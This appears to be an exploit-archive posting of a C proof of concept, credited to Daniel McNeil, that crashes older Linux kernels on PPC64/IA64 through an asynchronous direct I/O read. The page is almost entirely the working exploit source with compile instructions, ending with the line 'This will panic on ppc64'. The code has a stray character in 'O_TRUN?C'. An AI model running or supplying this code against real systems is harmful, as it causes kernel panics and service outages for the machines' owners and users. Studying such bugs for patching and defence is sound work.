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Linux Kernel PPC64/IA64 (AIO) Local Denial of Service Exploit
============================================================= Linux Kernel PPC64/IA64 (AIO) Local Denial of Service Exploit ============================================================= // // Proof of Concept by Daniel McNeil // compile using cc -o aiodio_read aiodio_read.c -laio // #define _XOPEN_SOURCE 600 #define _GNU_SOURCE #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/fcntl.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/stat.h> #include <libaio.h> int pagesize; char *iobuf; io_context_t myctx; int aio_maxio = 4; /* * do a AIO DIO write */ int do_aio_direct_read(int fd, char *iobuf, int offset, int size) { struct iocb myiocb; struct iocb *iocbp = &myiocb; int ret; struct io_event e; struct stat s; io_prep_pread(&myiocb, fd, iobuf, size, offset); if ((ret = io_submit(myctx, 1, &iocbp)) != 1) { perror("io_submit"); return ret; } ret = io_getevents(myctx, 1, 1, &e, 0); if (ret) { struct iocb *iocb = e.obj; int iosize = iocb->u.c.nbytes; char *buf = iocb->u.c.buf; long long loffset = iocb->u.c.offset; printf("AIO read of %d at offset %lld returned %d\n", iosize, loffset, e.res); } return ret; } int main(int argc, char *argv[]) { char *filename; int fd; int err; filename = "test.aio.file"; fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUN?C, 0666); pagesize = getpagesize(); err = posix_memalign((void**) &iobuf, pagesize, pagesize); if (err) { fprintf(stderr, "Error allocating %d aligned bytes.\n", pagesize); exit(1); } err = write(fd, iobuf, pagesize); if (err != pagesize) { fprintf(stderr, "Error ret = %d writing %d bytes.\n", err, pagesize); perror(""); exit(1); } memset(&myctx, 0, sizeof(myctx)); io_queue_init(aio_maxio, &myctx); err = do_aio_direct_read(fd, iobuf, 0, pagesize); close(fd); printf("This will panic on ppc64\n"); return err; } # 0day.today [2024-12-25] #